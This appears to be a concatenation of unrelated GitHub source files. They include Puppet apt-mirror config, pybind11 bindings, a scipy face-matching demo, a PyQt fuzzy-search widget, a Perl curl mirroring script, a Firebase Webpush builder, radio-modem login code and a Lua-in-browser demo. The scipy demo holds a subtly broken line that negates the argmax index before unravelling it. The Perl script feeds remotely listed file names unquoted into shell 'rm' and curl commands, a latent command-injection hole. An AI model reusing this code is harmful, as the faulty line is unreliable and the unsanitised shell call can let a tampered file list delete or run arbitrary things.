'puppetlabs-trusty':
location => 'http://apt.puppetlabs.com/',
repos => ['main', 'dependencies'],
release => 'trusty',
key => 'EF8D349F';
'puppetlabs-xenial':
location => 'http://apt.puppetlabs.com/',
repos => ['PC1'],
release => 'xenial',
key => 'EF8D349F';
'rabbitmq':
location => 'http://www.rabbitmq.com/debian',
release => 'testing',
key => '6026DFCA';
'sysdig':
location => 'http://download.draios.com/stable/deb',
release => 'stable-amd64/',
key => 'D27A72F32D867DF9300A241574490FD6EC51E8C4';
'yarn':
location => 'https://dl.yarnpkg.com/debian/',
release => 'stable',
repos => ['main'],
key => '72ECF46A56B4AD39C907BBB71646B01B86E50310';
}
aptly::repo { 'awscli': }
aptly::repo { 'collectd': }
aptly::repo { 'awscloudwatch': }
aptly::repo { 'elastic-beats': }
aptly::repo { 'etcdctl': }
aptly::repo { 'govuk-gatling': }
aptly::repo { 'gdal': }
aptly::repo { 'gof3r': }
aptly::repo { 'google-cloud-sdk-trusty': }
aptly::repo { 'gor': }
aptly::repo { 'govuk-jenkins': }
aptly::repo { 'govuk-mongo': }
aptly::repo { 'govuk-prometheus': }
aptly::repo { 'govuk-prometheus-node-exporter': }
aptly::repo { 'govuk-python': }
aptly::repo { 'govuk-rubygems': }
aptly::repo { 'govuk-splunk-configurator': }
aptly::repo { 'jenkins-agent': }
aptly::repo { 'locksmithctl': }
aptly::repo { 'logstash': }
aptly::repo { 'rbenv-ruby': }
aptly::repo { 'rbenv-ruby-xenial':
distribution => 'xenial',
}
aptly::repo { 'sops': }
aptly::repo { 'splunk': }
aptly::repo { 'statsd': }
aptly::repo { 'terraform': }
aptly::repo { 'whisper-backup': }
include nginx
nginx::config::site { $apt_service:
content => template('govuk/node/s_apt/apt_cluster_vhost.conf.erb'),
}
nginx::config::site { $gemstash_service:
content => template('govuk/node/s_apt/gemstash_cluster_vhost.conf.erb'),
}
# Manage our local Gemstash mirror. Deployed via a docker container
include ::govuk_docker
include ::govuk_containers::gemstash
if $private_gpg_key {
file { "/root/.gnupg/${private_gpg_key_fingerprint}_secret_key.asc":
ensure => present,
mode => '0600',
content => $private_gpg_key,
owner => 'root',
group => 'root',
}
exec { "import_gpg_secret_key_for_aptly_${::hostname}":
command => "gpg --batch --delete-secret-and-public-key ${private_gpg_key_fingerprint}; gpg --allow-secret-key-import --import /root/.gnupg/${private_gpg_key_fingerprint}_secret_key.asc",
user => 'root',
group => 'root',
subscribe => File["/root/.gnupg/${private_gpg_key_fingerprint}_secret_key.asc"],
refreshonly => true,
}
}
}
| {
"pile_set_name": "Github"
} |
#include "common.h"
void bind_cuda_2d(py::module& m, py::module& s) {
auto vector2m_class = bind<Vector2mC>(m, s, "Vector2m");
auto vector2i_class = bind<Vector2iC>(m, s, "Vector2i");
auto vector2u_class = bind<Vector2uC>(m, s, "Vector2u");
auto vector2f_class = bind<Vector2fC>(m, s, "Vector2f");
auto vector2d_class = bind<Vector2dC>(m, s, "Vector2d");
vector2f_class
.def(py::init<const Vector2f &>())
.def(py::init<const Vector2dC &>())
.def(py::init<const Vector2uC &>())
.def(py::init<const Vector2iC &>());
vector2d_class
.def(py::init<const Vector2d &>())
.def(py::init<const Vector2fC &>())
.def(py::init<const Vector2uC &>())
.def(py::init<const Vector2iC &>());
vector2i_class
.def(py::init<const Vector2i &>())
.def(py::init<const Vector2fC &>())
.def(py::init<const Vector2dC &>())
.def(py::init<const Vector2uC &>());
vector2u_class
.def(py::init<const Vector2u &>())
.def(py::init<const Vector2fC &>())
.def(py::init<const Vector2dC &>())
.def(py::init<const Vector2iC &>());
}
| {
"pile_set_name": "Github"
} |
# adpated from http://docs.scipy.org/doc/scipy-0.15.1/reference/generated/scipy.signal.correlate2d.html
import matplotlib.pyplot as plt
import numpy as np
from scipy import signal
from scipy import misc
print("cross correlation demo")
face = misc.face() - misc.face().mean()
face = face.sum(-1)
template = np.copy(face[700:800, 310:380]) # right eye
template -= template.mean()
noisyface = face + np.random.randn(*face.shape) * 50 # add noise
corr = signal.correlate2d(noisyface, template, boundary='symm', mode='same')
y, x = np.unravel_index(-1*np.argmax(corr), corr.shape) # find the match
fig, ((ax_orig, ax_template), (ax_noisy, ax_corr)) = plt.subplots(2, 2)
ax_orig.imshow(face, cmap='gray')
ax_orig.set_title('Original')
ax_orig.set_axis_off()
ax_orig.plot(x, y, 'ro')
ax_template.imshow(template, cmap='gray')
ax_template.set_title('Template')
ax_template.set_axis_off()
ax_noisy.imshow(noisyface, cmap='gray')
ax_noisy.set_title('Noisy')
ax_noisy.set_axis_off()
ax_noisy.plot(x, y, 'ro')
ax_corr.imshow(corr, cmap='gray')
ax_corr.set_title('Cross-correlation')
ax_corr.set_axis_off()
fig.show()
| {
"pile_set_name": "Github"
} |
3
4
4 2 3 1
4
4 3 2 1
4
1 2 3 4
| {
"pile_set_name": "Github"
} |
[tool.towncrier]
filename = "../identity_service.rst"
directory = "newsfragments"
issue_format = "`#{issue} <https://github.com/matrix-org/matrix-doc/issues/{issue}>`_"
title_format = "{version}"
[[tool.towncrier.type]]
directory = "breaking"
name = "Breaking Changes"
showcontent = true
[[tool.towncrier.type]]
directory = "deprecation"
name = "Deprecations"
showcontent = true
[[tool.towncrier.type]]
directory = "new"
name = "New Endpoints"
showcontent = true
[[tool.towncrier.type]]
directory = "removal"
name = "Removed Endpoints"
showcontent = true
[[tool.towncrier.type]]
directory = "feature"
name = "Backwards Compatible Changes"
showcontent = true
[[tool.towncrier.type]]
directory = "clarification"
name = "Spec Clarifications"
showcontent = true
| {
"pile_set_name": "Github"
} |
// Copyright 2011 Mark Cavage <[email protected]> All rights reserved.
module.exports = {
newInvalidAsn1Error: function(msg) {
var e = new Error();
e.name = 'InvalidAsn1Error';
e.message = msg || '';
return e;
}
};
| {
"pile_set_name": "Github"
} |
;; make.srt
;; Copyright (C) 2009-2018 Free Software Foundation, Inc.
;; Author: Eric M. Ludlam <[email protected]>
;; This file is part of GNU Emacs.
;; GNU Emacs is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
;; GNU Emacs is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; GNU General Public License for more details.
;; You should have received a copy of the GNU General Public License
;; along with GNU Emacs. If not, see <https://www.gnu.org/licenses/>.
set mode "makefile-mode"
set escape_start "{{"
set escape_end "}}"
set comment_start "#"
set comment_prefix "#"
set TAB "\t"
context file
template empty :file :user
----
{{>:filecomment}}
all: {{^}}
{{comment_start}} end
----
context declaration
;; GNU Make has real functions you can define, but semantic uses
;; 'function for rules. This is unfortunate, and should be fixed.
template rule :blank
----
{{?NAME}}:
{{TAB}}{{^}}
----
bind "r"
template inferencerule :blank
----
%.{{?SRCEXTENSION}}: %.{{?DESTEXTENSION}}
{{TAB}}{{^}}
----
bind "i"
template phonyrule :blank
----
.PHONY {{?NAME}}
{{NAME}}:
{{TAB}}{{^}}
----
bind "p"
template variable :blank
"Insert a variable declaration."
----
{{?NAME}}:= {{^}}
----
bind "v"
template include :blank
----
include {{?NAME}}
----
;; end
| {
"pile_set_name": "Github"
} |
import re
from functools import partial
from typing import List, Tuple
from PyQt5 import QtCore, QtWidgets
from artiq.gui.tools import LayoutWidget
class FuzzySelectWidget(LayoutWidget):
"""Widget to select from a list of pre-defined choices by typing in a
substring match (cf. Ctrl+P "Quick Open"/"Goto anything" functions in
editors/IDEs).
"""
#: Raised when the selection process is aborted by the user (Esc, loss of
#: focus, etc.).
aborted = QtCore.pyqtSignal()
#: Raised when an entry has been selected, giving the label of the user
#: choice and any additional QEvent.modifiers() (e.g. Ctrl key pressed).
finished = QtCore.pyqtSignal(str, int)
def __init__(self,
choices: List[Tuple[str, int]] = [],
entry_count_limit: int = 10,
*args):
"""
:param choices: The choices the user can select from, given as tuples
of labels to display and an additional weight added to the
fuzzy-matching score.
:param entry_count_limit: Maximum number of entries to show.
"""
super().__init__(*args)
self.entry_count_limit = entry_count_limit
assert entry_count_limit >= 2, ("Need to allow at least two entries " +
"to show the '<n> not shown' hint")
self.line_edit = QtWidgets.QLineEdit(self)
self.layout.addWidget(self.line_edit)
line_edit_focus_filter = _FocusEventFilter(self.line_edit)
line_edit_focus_filter.focus_gained.connect(self._activate)
line_edit_focus_filter.focus_lost.connect(self._line_edit_focus_lost)
self.line_edit.installEventFilter(line_edit_focus_filter)
self.line_edit.textChanged.connect(self._update_menu)
escape_filter = _EscapeKeyFilter(self)
escape_filter.escape_pressed.connect(self.abort)
self.line_edit.installEventFilter(escape_filter)
self.menu = None
self.update_when_text_changed = True
self.menu_typing_filter = None
self.line_edit_up_down_filter = None
self.abort_when_menu_hidden = False
self.abort_when_line_edit_unfocussed = True
self.set_choices(choices)
def set_choices(self, choices: List[Tuple[str, int]]) -> None:
"""Update the list of choices available to the user."""
# Keep sorted in the right order for when the query is empty.
self.choices = sorted(choices, key=lambda a: (a[1], a[0]))
if self.menu:
self._update_menu()
def _activate(self):
self.update_when_text_changed = True
if not self.menu:
# Show menu after initial layout is complete.
QtCore.QTimer.singleShot(0, self._update_menu)
def _ensure_menu(self):
if self.menu:
return
self.menu = QtWidgets.QMenu(self)
# Display menu with search results beneath line edit.
menu_pos = self.line_edit.mapToGlobal(self.line_edit.pos())
menu_pos.setY(menu_pos.y() + self.line_edit.height())
self.menu.popup(menu_pos)
self.menu.aboutToHide.connect(self._menu_hidden)
def _menu_hidden(self):
if self.abort_when_menu_hidden:
self.abort_when_menu_hidden = False
self.abort()
def _line_edit_focus_lost(self):
if self.abort_when_line_edit_unfocussed:
self.abort()
def _update_menu(self):
if not self.update_when_text_changed:
return
filtered_choices = self._filter_choices()
if not filtered_choices:
# No matches, don't display menu at all.
if self.menu:
self.abort_when_menu_hidden = False
self.menu.close()
self.menu = None
self.abort_when_line_edit_unfocussed = True
self.line_edit.setFocus()
return
# Truncate the list, leaving room for the "<n> not shown" entry.
num_omitted = 0
if len(filtered_choices) > self.entry_count_limit:
num_omitted = len(filtered_choices) - (self.entry_count_limit - 1)
filtered_choices = filtered_choices[:self.entry_count_limit - 1]
# We are going to end up with a menu shown and the line edit losing
# focus.
self.abort_when_line_edit_unfocussed = False
if self.menu:
# Hide menu temporarily to avoid re-layouting on every added item.
self.abort_when_menu_hidden = False
self.menu.hide()
self.menu.clear()
self._ensure_menu()
first_action = None
last_action = None
for choice in filtered_choices:
action = QtWidgets.QAction(choice, self.menu)
action.triggered.connect(partial(self._finish, action, choice))
action.modifiers = 0
self.menu.addAction(action)
if not first_action:
first_action = action
last_action = action
if num_omitted > 0:
action = QtWidgets.QAction("<{} not shown>".format(num_omitted),
self.menu)
action.setEnabled(False)
self.menu.addAction(action)
if self.menu_typing_filter:
self.menu.removeEventFilter(self.menu_typing_filter)
self.menu_typing_filter = _NonUpDownKeyFilter(self.menu,
self.line_edit)
self.menu.installEventFilter(self.menu_typing_filter)
if self.line_edit_up_down_filter:
self.line_edit.removeEventFilter(self.line_edit_up_down_filter)
self.line_edit_up_down_filter = _UpDownKeyFilter(
self.line_edit, self.menu, first_action, last_action)
self.line_edit.installEventFilter(self.line_edit_up_down_filter)
self.abort_when_menu_hidden = True
self.menu.show()
if first_action:
self.menu.setActiveAction(first_action)
self.menu.setFocus()
else:
self.line_edit.setFocus()
def _filter_choices(self):
"""Return a filtered and ranked list of choices based on the current
user input.
For a choice not to be filtered out, it needs to contain the entered
characters in order. Entries are further sorted by the length of the
match (i.e. preferring matches where the entered string occurrs
without interruptions), then the position of the match, and finally
lexicographically.
"""
query = self.line_edit.text()
if not query:
return [label for label, _ in self.choices]
# Find all "substring" matches of the given query in the labels,
# allowing any number of characters between each query character.
# Sort first by length of match (short matches preferred), to which the
# set weight is also applied, then by location (early in the label
# preferred), and at last alphabetically.
# TODO: More SublimeText-like heuristics taking capital letters and
# punctuation into account. Also, requiring the matches to be in order
# seems to be a bit annoying in practice.
# `re` seems to be the fastest way of doing this in CPython, even with
# all the (non-greedy) wildcards.
suggestions = []
pattern_str = ".*?".join(map(re.escape, query))
pattern = re.compile(pattern_str, flags=re.IGNORECASE)
for label, weight in self.choices:
matches = []
# Manually loop over shortest matches at each position;
# re.finditer() only returns non-overlapping matches.
pos = 0
while True:
r = pattern.search(label, pos=pos)
if not r:
break
start, stop = r.span()
matches.append((stop - start - weight, start, label))
pos = start + 1
if matches:
suggestions.append(min(matches))
return [x for _, _, x in sorted(suggestions)]
def _close(self):
if self.menu:
self.menu.close()
self.menu = None
self.update_when_text_changed = False
self.line_edit.clear()
def abort(self):
self._close()
self.aborted.emit()
def _finish(self, action, name):
self._close()
self.finished.emit(name, action.modifiers)
class _FocusEventFilter(QtCore.QObject):
"""Emits signals when focus is gained/lost."""
focus_gained = QtCore.pyqtSignal()
focus_lost = QtCore.pyqtSignal()
def eventFilter(self, obj, event):
if event.type() == QtCore.QEvent.FocusIn:
self.focus_gained.emit()
elif event.type() == QtCore.QEvent.FocusOut:
self.focus_lost.emit()
return False
class _EscapeKeyFilter(QtCore.QObject):
"""Emits a signal if the Escape key is pressed."""
escape_pressed = QtCore.pyqtSignal()
def eventFilter(self, obj, event):
if event.type() == QtCore.QEvent.KeyPress:
if event.key() == QtCore.Qt.Key_Escape:
self.escape_pressed.emit()
return False
class _UpDownKeyFilter(QtCore.QObject):
"""Handles focussing the menu when pressing up/down in the line edit."""
def __init__(self, parent, menu, first_item, last_item):
super().__init__(parent)
self.menu = menu
self.first_item = first_item
self.last_item = last_item
def eventFilter(self, obj, event):
if event.type() == QtCore.QEvent.KeyPress:
if event.key() == QtCore.Qt.Key_Down:
self.menu.setActiveAction(self.first_item)
self.menu.setFocus()
return True
if event.key() == QtCore.Qt.Key_Up:
self.menu.setActiveAction(self.last_item)
self.menu.setFocus()
return True
return False
class _NonUpDownKeyFilter(QtCore.QObject):
"""Forwards input while the menu is focussed to the line edit."""
def __init__(self, parent, target):
super().__init__(parent)
self.target = target
def eventFilter(self, obj, event):
if event.type() == QtCore.QEvent.KeyPress:
k = event.key()
if k in (QtCore.Qt.Key_Return, QtCore.Qt.Key_Enter):
action = obj.activeAction()
if action is not None:
action.modifiers = event.modifiers()
return False
if (k != QtCore.Qt.Key_Down and k != QtCore.Qt.Key_Up
and k != QtCore.Qt.Key_Enter
and k != QtCore.Qt.Key_Return):
QtWidgets.QApplication.sendEvent(self.target, event)
return True
return False
| {
"pile_set_name": "Github"
} |
using System;
namespace Transactions
{
public interface ITransactionScope
: IDisposable
{
}
public class TransactionScope
: ITransactionScope
{
public TransactionScope(
bool arg0
)
{
}
public TransactionScope(
TransactionTimeout arg0,
bool arg1
)
{
field0 = arg0;
field1 = arg1;
}
public readonly TransactionTimeout field0;
public readonly bool field1;
public void Dispose()
{
}
}
public class TransactionTimeout
{
}
public class TransactionUtil
{
public TransactionUtil(
)
{
}
}
} | {
"pile_set_name": "Github"
} |
#!/usr/bin/perl
#
# Author: Daniel Stenberg <[email protected]>
# Version: 0.1
# Date: October 10, 2000
#
# This is public domain. Feel free to do whatever you please with this script.
# There are no warranties whatsoever! It might work, it might ruin your hard
# disk. Use this on your own risk.
#
# PURPOSE
#
# This script uses a local directory to maintain a "mirror" of the curl
# packages listed in the remote curl web sites package list. Files present in
# the local directory that aren't present in the remote list will be removed.
# Files that are present in the remote list but not in the local directory
# will be downloaded and put there. Files present at both places will not
# be touched.
#
# WARNING: don't put other files in the mirror directory, they will be removed
# when this script runs if they don't exist in the remote package list!
#
# this is the directory to keep all the mirrored curl files in:
$some_dir = $ARGV[0];
if( ! -d $some_dir ) {
print "$some_dir is not a dir!\n";
exit;
}
# path to the curl binary
$curl = "/home/danste/bin/curl";
# this is the remote file list
$filelist = "http://curl.haxx.se/download/curldist.txt";
# prepend URL:
$prepend = "http://curl.haxx.se/download";
opendir(DIR, $some_dir) || die "can't opendir $some_dir: $!";
@existing = grep { /^[^\.]/ } readdir(DIR);
closedir DIR;
$LOCAL_FILE = 1;
$REMOTE_FILE = 2;
# create a hash array
for(@existing) {
$allfiles{$_} |= $LOCAL_FILE;
}
# get remote file list
print "Getting file list from $filelist\n";
@remotefiles=`$curl -s $filelist`;
# fill in the hash array
for(@remotefiles) {
chomp;
$allfiles{$_} |= $REMOTE_FILE;
$remote++;
}
if($remote < 10) {
print "There's something wrong. The remote file list seems too smallish!\n";
exit;
}
@sfiles = sort { $a cmp $b } keys %allfiles;
$leftalone = $downloaded = $removed = 0;
for(@sfiles) {
$file = $_;
$info = $allfiles{$file};
if($info == ($REMOTE_FILE|$LOCAL_FILE)) {
print "$file is LOCAL and REMOTE, left alone\n";
$leftalone++;
}
elsif($info == $REMOTE_FILE) {
print "$file is only REMOTE, getting it...\n";
system("$curl $prepend/$file -o $some_dir/$file");
$downloaded++;
}
elsif($info == $LOCAL_FILE) {
print "$file is only LOCAL, removing it...\n";
system("rm $some_dir/$file");
$removed++;
}
else {
print "Problem, file $file was marked $info\n";
}
$loops++;
}
if(!$loops) {
print "No remote or local files were found!\n";
exit;
}
print "$leftalone files were already present\n",
"$downloaded files were added\n",
"$removed files were removed\n";
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2018 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.firebase.messaging;
import static com.google.common.base.Preconditions.checkArgument;
import com.google.api.client.util.Key;
import com.google.common.base.Strings;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMap;
import com.google.firebase.internal.NonNull;
import com.google.firebase.internal.Nullable;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* Represents the Webpush-specific notification options that can be included in a {@link Message}.
* Instances of this class are thread-safe and immutable. Supports most standard options defined
* in the <a href="https://developer.mozilla.org/en-US/docs/Web/API/notification/Notification">Web
* Notification specification</a>.
*/
public class WebpushNotification {
private final Map<String, Object> fields;
/**
* Creates a new notification with the given title and body. Overrides the options set via
* {@link Notification}.
*
* @param title Title of the notification.
* @param body Body of the notification.
*/
public WebpushNotification(String title, String body) {
this(title, body, null);
}
/**
* Creates a new notification with the given title, body and icon. Overrides the options set via
* {@link Notification}.
*
* @param title Title of the notification.
* @param body Body of the notification.
* @param icon URL to the notifications icon.
*/
public WebpushNotification(String title, String body, @Nullable String icon) {
this(builder().setTitle(title).setBody(body).setIcon(icon));
}
private WebpushNotification(Builder builder) {
ImmutableMap.Builder<String, Object> fields = ImmutableMap.builder();
if (!builder.actions.isEmpty()) {
fields.put("actions", ImmutableList.copyOf(builder.actions));
}
addNonNullNonEmpty(fields, "badge", builder.badge);
addNonNullNonEmpty(fields, "body", builder.body);
addNonNull(fields, "data", builder.data);
addNonNullNonEmpty(fields, "dir", builder.direction != null ? builder.direction.value : null);
addNonNullNonEmpty(fields, "icon", builder.icon);
addNonNullNonEmpty(fields, "image", builder.image);
addNonNullNonEmpty(fields, "lang", builder.language);
addNonNull(fields, "renotify", builder.renotify);
addNonNull(fields, "requireInteraction", builder.requireInteraction);
addNonNull(fields, "silent", builder.silent);
addNonNullNonEmpty(fields, "tag", builder.tag);
addNonNull(fields, "timestamp", builder.timestampMillis);
addNonNullNonEmpty(fields, "title", builder.title);
addNonNull(fields, "vibrate", builder.vibrate);
fields.putAll(builder.customData);
this.fields = fields.build();
}
Map<String, Object> getFields() {
return fields;
}
/**
* Creates a new {@link WebpushNotification.Builder}.
*
* @return A {@link WebpushNotification.Builder} instance.
*/
public static Builder builder() {
return new Builder();
}
/**
* Different directions a notification can be displayed in.
*/
public enum Direction {
AUTO("auto"),
LEFT_TO_RIGHT("ltr"),
RIGHT_TO_LEFT("rtl");
final String value;
Direction(String value) {
this.value = value;
}
}
/**
* Represents an action available to users when the notification is presented.
*/
public static class Action {
@Key("action")
private final String action;
@Key("title")
private final String title;
@Key("icon")
private final String icon;
/**
* Creates a new Action with the given action string and title.
*
* @param action Action string.
* @param title Title text.
*/
public Action(String action, String title) {
this(action, title, null);
}
/**
* Creates a new Action with the given action string, title and icon URL.
*
* @param action Action string.
* @param title Title text.
* @param icon Icon URL or null.
*/
public Action(String action, String title, @Nullable String icon) {
checkArgument(!Strings.isNullOrEmpty(action));
checkArgument(!Strings.isNullOrEmpty(title));
this.action = action;
this.title = title;
this.icon = icon;
}
}
public static class Builder {
private final List<Action> actions = new ArrayList<>();
private String badge;
private String body;
private Object data;
private Direction direction;
private String icon;
private String image;
private String language;
private Boolean renotify;
private Boolean requireInteraction;
private Boolean silent;
private String tag;
private Long timestampMillis;
private String title;
private List<Integer> vibrate;
private final Map<String, Object> customData = new HashMap<>();
private Builder() {}
/**
* Adds a notification action to the notification.
*
* @param action A non-null {@link Action}.
* @return This builder.
*/
public Builder addAction(@NonNull Action action) {
this.actions.add(action);
return this;
}
/**
* Adds all the actions in the given list to the notification.
*
* @param actions A non-null list of actions.
* @return This builder.
*/
public Builder addAllActions(@NonNull List<Action> actions) {
this.actions.addAll(actions);
return this;
}
/**
* Sets the URL of the image used to represent the notification when there is
* not enough space to display the notification itself.
*
* @param badge Badge URL.
* @return This builder.
*/
public Builder setBadge(String badge) {
this.badge = badge;
return this;
}
/**
* Sets the body text of the notification.
*
* @param body Body text.
* @return This builder.
*/
public Builder setBody(String body) {
this.body = body;
return this;
}
/**
* Sets any arbitrary data that should be associated with the notification.
*
* @param data A JSON-serializable object.
* @return This builder.
*/
public Builder setData(Object data) {
this.data = data;
return this;
}
/**
* Sets the direction in which to display the notification.
*
* @param direction Direction enum value.
* @return This builder.
*/
public Builder setDirection(Direction direction) {
this.direction = direction;
return this;
}
/**
* Sets the URL to the icon of the notification.
*
* @param icon Icon URL.
* @return This builder.
*/
public Builder setIcon(String icon) {
this.icon = icon;
return this;
}
/**
* Sets the URL of an image to be displayed in the notification.
*
* @param image Image URL
* @return This builder.
*/
public Builder setImage(String image) {
this.image = image;
return this;
}
/**
* Sets the language of the notification.
*
* @param language Notification language.
* @return This builder.
*/
public Builder setLanguage(String language) {
this.language = language;
return this;
}
/**
* Sets whether the user should be notified after a new notification replaces an old one.
*
* @param renotify true to notify the user on replacement.
* @return This builder.
*/
public Builder setRenotify(boolean renotify) {
this.renotify = renotify;
return this;
}
/**
* Sets whether a notification should remain active until the user clicks or dismisses it,
* rather than closing automatically.
*
* @param requireInteraction true to keep the notification active until user interaction.
* @return This builder.
*/
public Builder setRequireInteraction(boolean requireInteraction) {
this.requireInteraction = requireInteraction;
return this;
}
/**
* Sets whether the notification should be silent.
*
* @param silent true to indicate that the notification should be silent.
* @return This builder.
*/
public Builder setSilent(boolean silent) {
this.silent = silent;
return this;
}
/**
* Sets an identifying tag on the notification.
*
* @param tag A tag to be associated with the notification.
* @return This builder.
*/
public Builder setTag(String tag) {
this.tag = tag;
return this;
}
/**
* Sets a timestamp value in milliseconds on the notification.
*
* @param timestampMillis A timestamp value as a number.
* @return This builder.
*/
public Builder setTimestampMillis(long timestampMillis) {
this.timestampMillis = timestampMillis;
return this;
}
/**
* Sets the title text of the notification.
*
* @param title Title text.
* @return This builder.
*/
public Builder setTitle(String title) {
this.title = title;
return this;
}
/**
* Sets a vibration pattern for the device's vibration hardware to emit
* when the notification fires.
*
* @param pattern An integer array representing a vibration pattern.
* @return This builder.
*/
public Builder setVibrate(int[] pattern) {
List<Integer> list = new ArrayList<>();
for (int value : pattern) {
list.add(value);
}
this.vibrate = ImmutableList.copyOf(list);
return this;
}
/**
* Puts a custom key-value pair to the notification.
*
* @param key A non-null key.
* @param value A non-null, json-serializable value.
* @return This builder.
*/
public Builder putCustomData(@NonNull String key, @NonNull Object value) {
this.customData.put(key, value);
return this;
}
/**
* Puts all the key-value pairs in the specified map to the notification.
*
* @param fields A non-null map. Map must not contain null keys or values.
* @return This builder.
*/
public Builder putAllCustomData(@NonNull Map<String, Object> fields) {
this.customData.putAll(fields);
return this;
}
/**
* Creates a new {@link WebpushNotification} from the parameters set on this builder.
*
* @return A new {@link WebpushNotification} instance.
*/
public WebpushNotification build() {
return new WebpushNotification(this);
}
}
private static void addNonNull(
ImmutableMap.Builder<String, Object> fields, String key, Object value) {
if (value != null) {
fields.put(key, value);
}
}
private static void addNonNullNonEmpty(
ImmutableMap.Builder<String, Object> fields, String key, String value) {
if (!Strings.isNullOrEmpty(value)) {
fields.put(key, value);
}
}
}
| {
"pile_set_name": "Github"
} |
/****************************************************************************
*
* (c) 2019 QGROUNDCONTROL PROJECT <http://www.qgroundcontrol.org>
*
* QGroundControl is licensed according to the terms in the file
* COPYING.md in the root of the source code directory.
*
****************************************************************************/
#include "MicrohardSettings.h"
#include "MicrohardManager.h"
#include "SettingsManager.h"
#include "QGCApplication.h"
#include "VideoManager.h"
//-----------------------------------------------------------------------------
MicrohardSettings::MicrohardSettings(QString address_, QObject* parent, bool setEncryptionKey)
: MicrohardHandler(parent)
{
_address = address_;
_setEncryptionKey = setEncryptionKey;
}
//-----------------------------------------------------------------------------
bool
MicrohardSettings::start()
{
qCDebug(MicrohardLog) << "Start Microhard Settings";
_loggedIn = false;
_start(MICROHARD_SETTINGS_PORT, QHostAddress(_address));
return true;
}
//-----------------------------------------------------------------------------
void
MicrohardSettings::getStatus()
{
if (_loggedIn && _tcpSocket) {
_tcpSocket->write("AT+MWSTATUS\n");
}
}
//-----------------------------------------------------------------------------
void
MicrohardSettings::setEncryptionKey(QString key)
{
if (!_tcpSocket) {
return;
}
QString cmd = "AT+MWVENCRYPT=1," + key + "\n";
_tcpSocket->write(cmd.toStdString().c_str());
cmd = "AT&W\n";
_tcpSocket->write(cmd.toStdString().c_str());
qCDebug(MicrohardLog) << "Set encryption key: " << key;
}
//-----------------------------------------------------------------------------
void
MicrohardSettings::_readBytes()
{
if (!_tcpSocket) {
return;
}
QByteArray bytesIn = _tcpSocket->read(_tcpSocket->bytesAvailable());
//qCDebug(MicrohardLog) << "Read bytes: " << bytesIn;
if (_loggedIn) {
int i1 = bytesIn.indexOf("RSSI (dBm)");
if (i1 > 0) {
int i2 = bytesIn.indexOf(": ", i1);
if (i2 > 0) {
i2 += 2;
int i3 = bytesIn.indexOf(" ", i2);
int val = bytesIn.mid(i2, i3 - i2).toInt();
if (val < 0) {
_rssiVal = val;
}
}
}
} else if (bytesIn.contains("login:")) {
std::string userName = qgcApp()->toolbox()->microhardManager()->configUserName().toStdString() + "\n";
_tcpSocket->write(userName.c_str());
} else if (bytesIn.contains("Password:")) {
std::string pwd = qgcApp()->toolbox()->microhardManager()->configPassword().toStdString() + "\n";
_tcpSocket->write(pwd.c_str());
} else if (bytesIn.contains("Login incorrect")) {
emit connected(-1);
} else if (bytesIn.contains("Entering")) {
if (!loggedIn() && _setEncryptionKey) {
qgcApp()->toolbox()->microhardManager()->setEncryptionKey();
}
_loggedIn = true;
emit connected(1);
}
emit rssiUpdated(_rssiVal);
}
| {
"pile_set_name": "Github"
} |
#include <sys/resource.h>
#include <stdio.h>
static __attribute__((constructor)) void bpf_rlimit_ctor(void)
{
struct rlimit rlim_old, rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
getrlimit(RLIMIT_MEMLOCK, &rlim_old);
/* For the sake of running the test cases, we temporarily
* set rlimit to infinity in order for kernel to focus on
* errors from actual test cases and not getting noise
* from hitting memlock limits. The limit is on per-process
* basis and not a global one, hence destructor not really
* needed here.
*/
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new) < 0) {
perror("Unable to lift memlock rlimit");
/* Trying out lower limit, but expect potential test
* case failures from this!
*/
rlim_new.rlim_cur = rlim_old.rlim_cur + (1UL << 20);
rlim_new.rlim_max = rlim_old.rlim_max + (1UL << 20);
setrlimit(RLIMIT_MEMLOCK, &rlim_new);
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en-GB" dir="ltr">
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>Starlight</title>
</head>
<body>
<h1>Starlight</h1>
<p id="outlet"></p>
<button id="hello">Hello</button>
<!--
# Lua scripts
When Starlight is loaded with `data-run-script-tags` attribute (see below) the
following happens automatically:
- Script tags with `type="application/x-lua"` are parsed by Starlight.
- Parsed scripts that have a `data-modname` attribute are loaded into package.preload
- Tags are processed in the order they appear in the page; make sure
preloaded scripts appear in the document before scripts that require them.
-->
<script type="application/x-lua" data-modname="greeting">
return {
sayHello = function (name)
alert("Hello "..name)
end
}
</script>
<script type="application/x-lua">
-- Either interact with the DOM through the `window` namespace
local outlet = window.document:getElementById 'outlet'
outlet.textContent = 'This page is scripted entirely from Lua code embedded in the page!'
-- Or extract the contents of `window` into the global namespace
window.extract()
-- Load module that was created in the previous script tag
local greeting = require 'greeting'
local button = document:getElementById 'hello'
button:addEventListener('click', function ()
greeting.sayHello 'sailor'
end)
-- Run JavaScript functions that you inject using Starlight config (see below).
-- (print() output can be found in the browser console.)
print('Current timestamp: '..getTimestamp())
</script>
<!--
# Starlight
- Use the `env` property to add values and (JavaScript) methods to the
Lua global namespace. In this example `inspect()` is added and can be
invoked to log a value to the browser console.
- You may remove this script block if you wish to use a default Lua environment.
- Note the `data-run-script-tags` attribute on the lower script tag; without
it, the Lua scripts will not be executed automatically.
-->
<script>
window.starlight = {
config: {
env: {
inspect: console.log.bind(console),
getTimestamp: Date.now.bind(Date)
}
}
};
</script>
